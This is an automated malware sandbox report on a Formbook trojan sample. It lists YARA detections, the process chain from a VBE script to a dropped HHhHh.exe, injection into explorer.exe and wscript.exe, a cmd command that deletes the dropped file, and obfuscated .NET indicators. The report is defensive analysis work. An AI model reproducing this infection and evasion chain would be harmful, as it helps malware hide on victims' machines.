Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: HHhHh.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, BGUFogHKxxHBnv1yFK.cs	Security API names: _0020.SetAccessControl
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, BGUFogHKxxHBnv1yFK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, BGUFogHKxxHBnv1yFK.cs	Security API names: _0020.AddAccessRule
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, wjoM4miaX9WrPncB9X.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 2.2.HHhHh.exe.273924c.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 2.2.HHhHh.exe.271a080.6.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 2.2.HHhHh.exe.5150000.8.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.evad.winVBE@10/2@12/5

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009BB52D FormatMessageW,LocalAlloc,GetLastError,swprintf_s,FormatMessageA,LocalAlloc,sprintf_s,MultiByteToWideChar,LocalAlloc,MultiByteToWideChar,SysAllocString,LocalFree,LocalFree,

6_2_009BB52D

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009C08FD CLSIDFromProgID,CoCreateInstance,

6_2_009C08FD

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009C6D75 FindResourceExW,LoadResource,

6_2_009C6D75

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HHhHh.exe.log

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: TNS71092E68UI0.vbe

Virustotal: Detection: 16%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNS71092E68UI0.vbe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\HHhHh.exe "C:\Users\user\AppData\Local\Temp\HHhHh.exe"
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process created: C:\Users\user\AppData\Local\Temp\HHhHh.exe "C:\Users\user\AppData\Local\Temp\HHhHh.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\SysWOW64\wscript.exe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\HHhHh.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\HHhHh.exe "C:\Users\user\AppData\Local\Temp\HHhHh.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process created: C:\Users\user\AppData\Local\Temp\HHhHh.exe "C:\Users\user\AppData\Local\Temp\HHhHh.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\SysWOW64\wscript.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\HHhHh.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3743-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains potential unpacker

Source:	Binary string: wntdll.pdb source: HHhHh.exe, wscript.exe
Source:	Binary string: wscript.pdb source: wscript.exe

Data Obfuscation

Source: HHhHh.exe.0.dr, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 2.2.HHhHh.exe.50f0000.7.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 2.2.HHhHh.exe.50f0000.7.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 2.2.HHhHh.exe.27064c8.5.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 2.2.HHhHh.exe.27064c8.5.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 2.2.HHhHh.exe.26d7bb0.3.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 2.2.HHhHh.exe.26d7bb0.3.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, BGUFogHKxxHBnv1yFK.cs	.Net Code: IULKWjhlCQ System.Reflection.Assembly.Load(byte[])
Source: 5.2.explorer.exe.109cf840.0.raw.unpack, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 6.2.wscript.exe.527f840.3.raw.unpack, frmMain.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 2_2_051CB286 push ss; iretd	2_2_051CB287
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041E8DF push edi; ret	4_2_0041E8E8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_004169FC push esp; ret	4_2_004169FD
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00408394 pushfd ; iretd	4_2_00408395
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041D4B5 push eax; ret	4_2_0041D508
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_004044B7 push es; ret	4_2_004044BE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041D56C push eax; ret	4_2_0041D572
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041D502 push eax; ret	4_2_0041D508
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041D50B push eax; ret	4_2_0041D572
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_004166E0 pushad ; retf	4_2_004167DA
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0040AEBD pushfd ; ret	4_2_0040AEBE
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012909AD push ecx; mov dword ptr [esp], ecx	4_2_012909B6
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6EFB02 push esp; retn 0000h	5_2_0E6EFB03
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6EFB1E push esp; retn 0000h	5_2_0E6EFB1F
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6EF9B5 push esp; retn 0000h	5_2_0E6EFAE7
Source: C:\Windows\explorer.exe	Code function: 5_2_1126CB02 push esp; retn 0000h	5_2_1126CB03
Source: C:\Windows\explorer.exe	Code function: 5_2_1126CB1E push esp; retn 0000h	5_2_1126CB1F
Source: C:\Windows\explorer.exe	Code function: 5_2_1126C9B5 push esp; retn 0000h	5_2_1126CAE7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_009C7C89 push ecx; ret	6_2_009C7C9C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D327FA pushad ; ret	6_2_04D327F9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D3225F pushad ; ret	6_2_04D327F9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D3283D push eax; iretd	6_2_04D32858
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D609AD push ecx; mov dword ptr [esp], ecx	6_2_04D609B6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D39939 push es; iretd	6_2_04D39940
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_00908394 pushfd ; iretd	6_2_00908395
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091D4B5 push eax; ret	6_2_0091D508
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_009044B7 push es; ret	6_2_009044BE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091D502 push eax; ret	6_2_0091D508
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091D50B push eax; ret	6_2_0091D572
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091D56C push eax; ret	6_2_0091D572
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_009166E0 pushad ; retf	6_2_009167DA

Source: HHhHh.exe.0.dr

Static PE information: section name: .text entropy: 7.977898409102027

Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, YFDO78B3dyBKqsJeRM.cs	High entropy of concatenated method names: 'BsTWXMBY4', 'MlGVle9El', 'uyFpyA5UF', 'CXwv1jUNL', 'UpWTMP4QP', 'ecvxHSt9h', 'eC8idFCtDjrIiXHpiF', 'it1j21VULSrTwLtLq1', 'bShYZKgMo', 'CPh40rtYn'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, fvMv36VRIIyjbOhLr2k.cs	High entropy of concatenated method names: 'WeyDgZhMiq', 'D8NDwPS0JY', 'e1CDWPXuNB', 'sd1DVmpgZg', 'vpeD3DrBwn', 'cJXDpn4nfD', 'CYDDvKdE0V', 'wqJDE1kOVB', 'eXSDTrXQbk', 'Oy2DxvKcmc'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, BGUFogHKxxHBnv1yFK.cs	High entropy of concatenated method names: 'B13QHOl95e', 'VqCQduXgwa', 'eOmQ6Ykdal', 'tOIQPrFGmP', 'KwqQOD6fVu', 'rOsQjYacSG', 'J52Q2XofWY', 'lLBQyhaWqH', 'gaRQbFb1bS', 'GZEQhJPm8R'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, DnjhEJZrH59805e1tj.cs	High entropy of concatenated method names: 'SYGGNHUmVL', 'LXdGFovu0d', 'AYjY5OuAXO', 'U3xYc5eBy7', 'wC2GZZR7FV', 'roZGRDTMHN', 'xmnGXg2XI6', 'RnBGt9rCjM', 'cHKGs2sIqk', 'n1jGBOexrp'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, kkAjKaMbOgY15BMU2V.cs	High entropy of concatenated method names: 'JMm2ghAvem', 'iGk2w5OfPc', 'M6R2W3DeKD', 'F4M2Valgby', 'ECt23oTK2M', 'iHN2pX8RZ6', 'Qgt2vD7Xkj', 'T4q2E1BaLD', 'MmQ2TokwRg', 'eRv2xlwxnx'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, V7MKVcAbI46kQVW9k0.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'lcInupZO1D', 'Mu3nFh3L7M', 'BRKnzs4NOx', 'KLYQ5pkmQr', 'Wp3QcUBnDj', 'zdSQn4ptxD', 'Y7CQQVJfG5', 'aLqoUXMuiZntw6psDqN'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, WsUtYha7JiycjC3Xcp.cs	High entropy of concatenated method names: 'w0gjUe2tOI', 'PH3jgcFpN3', 'stAjWbHEeE', 'lynjVVaT7C', 'YKujp6lk0J', 'QTBjv984Lc', 'g5xjTvLeGG', 'HASjxgvDWa', 'GX9chRYAxXEnBGQhdMu', 'IPtSPWYhEMlNB36dVPo'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, M0EcBdetKyuEBtUKgB.cs	High entropy of concatenated method names: 'l0ikEj2Lep', 'v78kTEMEfN', 'AWWkopxaWE', 'c8tkL0q8bc', 'SkakilwA3e', 'ApkkaIZ2lx', 'hGAk1AkbNt', 'jgDkIW8kKP', 'jHUklm0F08', 'wg1kZ8Kfuy'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, RJwk7uqHNXtymbkcXC.cs	High entropy of concatenated method names: 'qpuGhegov1', 'P0lG0amQZb', 'ToString', 'uQEGdnaGWA', 'JpaG6J7iZx', 'pxoGPSmrOo', 'bE6GOeI4yW', 'Q9QGjQoktb', 'aiWG2C7aKT', 'xUiGyQAPJu'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, PseVlKsl9npQT7AhaE.cs	High entropy of concatenated method names: 'rH6PVcKL9S', 'TMBPpEgTTH', 'kx8PEjIpx0', 'aLEPTHCIe1', 'sLuPCMxjiQ', 'AG6Pqqr1Z0', 'ie7PGPXVp4', 'QnhPYbgHC4', 'lEuPDoYupj', 'VecP4uUd5x'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, SQMUrft2hqvHsrieyT.cs	High entropy of concatenated method names: 'nsijHWqCan', 'fJij6HA0Au', 'MKGjOOZEqt', 'SwTj2x2TYq', 'pyUjyvSeZH', 'RuBOAOncyJ', 'K29OfqLTFT', 'drhOShnKl1', 'kg0ONKQFu5', 'b4WOuhxVgp'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, vOIxEplE8AnWIAfrrt.cs	High entropy of concatenated method names: 'ToString', 'YKvqZ9Goop', 'vX0qLuT45u', 'GeEqeMWeA6', 'e4EqiafFl9', 'mDxqaYNGaY', 'Xm9qmAdeBu', 'sJAq1whoix', 'EukqI6HBrI', 'HbSq9dIHtf'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, odnbvwjktDSWWe4pEj.cs	High entropy of concatenated method names: 'Q6P2dYNQip', 'GuS2PMF6Tm', 'XBv2jdFpPS', 'uotjFqnvRx', 'tJLjzOx77q', 'kO6251bUjq', 'UIV2cj8u5v', 'h582npE2ji', 'YTV2QNF5TQ', 'XVN2Kpepio'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, oY2KAGdktRtY42PnXh.cs	High entropy of concatenated method names: 'kA2Yd8gP25', 'cAHY6N2DwY', 'a8dYPcFklw', 'DuFYOp59ua', 'q3GYjHaxiS', 're9Y2fSQVP', 'zcGYyI2YGC', 'Nw8YbsfNDK', 'OUcYhWmScs', 'zfVY0CyT5r'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, wjoM4miaX9WrPncB9X.cs	High entropy of concatenated method names: 'ryU6t2idBU', 'wRP6sfShS5', 'tk36BJPSxx', 'lB26rMNIhC', 'abv6AtgeWv', 'zee6flAsNF', 'rUt6S5BgqN', 'ij86NxjfM0', 'dBW6uZu38g', 'uEo6FASs9Y'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, MFWBRaSgXAlsGkiGZF.cs	High entropy of concatenated method names: 'Dispose', 'NnpcucFVtC', 'obonL44KC6', 'IKQMMyu2le', 'boxcFKMxtA', 'ndVczSmOZT', 'ProcessDialogKey', 'oHhn5K9QOX', 'I2AncLNJos', 'twlnnZNDKd'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, RWH8U3x1RFh1MUc0ly.cs	High entropy of concatenated method names: 'iqlc2nTSwi', 'utqcy3purM', 'JGFchSgxDD', 'i8Mc0hBG1s', 'KgZcClqVwu', 'HfEcqm7oc6', 'XKRcCaf2M9AknOwyEl', 'kptRfWERWrdWPlC38I', 'mbkcc7glRr', 'CQwcQGkfwF'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, Y86arQv56RqLK7lxN8.cs	High entropy of concatenated method names: 'kFQO3gCMlO', 'xamOvQUS29', 'CmPPepCMVl', 'u7gPiayuAl', 'mihPaPIoHu', 'cVQPmu4GJv', 'VyDP1KiLFq', 'wlVPIjuyar', 'MG6P9FStoT', 'VLcPl21tg9'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, uH6vU8V8hKc8o2xpTyb.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'c934tZZHG1', 'hS24s6MDka', 'POc4BBVJ8k', 'HFu4rZ5RjM', 'ArO4AftYr9', 'ARv4fNniit', 'ist4SYiqE2'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, brnWriW6QiT2akgS1J.cs	High entropy of concatenated method names: 'hmJClC4ZqV', 'haKCRG8Vnt', 'O7aCtpf7MO', 'sXvCs0lLhT', 'DrvCL9ZWph', 'zK2Cem4yYW', 'EfdCi5KEpW', 'qPWCagtlBF', 'eH8CmeKQoG', 'bfVC1bwLcK'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, My7AEnEGgddFOKOHKB.cs	High entropy of concatenated method names: 'RddDc7Dp3Q', 'eR7DQllMGK', 'Sg6DKBqdou', 'iIIDdHLY1w', 'YZuD6pqrBb', 'iytDOvD3HH', 'TPKDjQfDum', 'qJFYSc77sh', 'KhsYNebb0C', 'YkUYu90XaV'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, ObuY3EzelE09x3dtVg.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CtVDkiTWdE', 'w83DCsnkpZ', 'Yh7DqKSY63', 'rYJDG4VWsM', 'JmmDYQiwM4', 'MG7DDUUi1g', 'nX8D4RgTFl'
Source: 2.2.HHhHh.exe.6980000.9.raw.unpack, zN2gLZkwMSpQA3gaY4.cs	High entropy of concatenated method names: 'cOjYokAUuM', 'PFiYLgvAlR', 'htLYenGmVC', 'SomYiEmMGp', 'FulYtr7KrM', 'J7hYaXJ7Jh', 'Next', 'Next', 'Next', 'NextBytes'

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
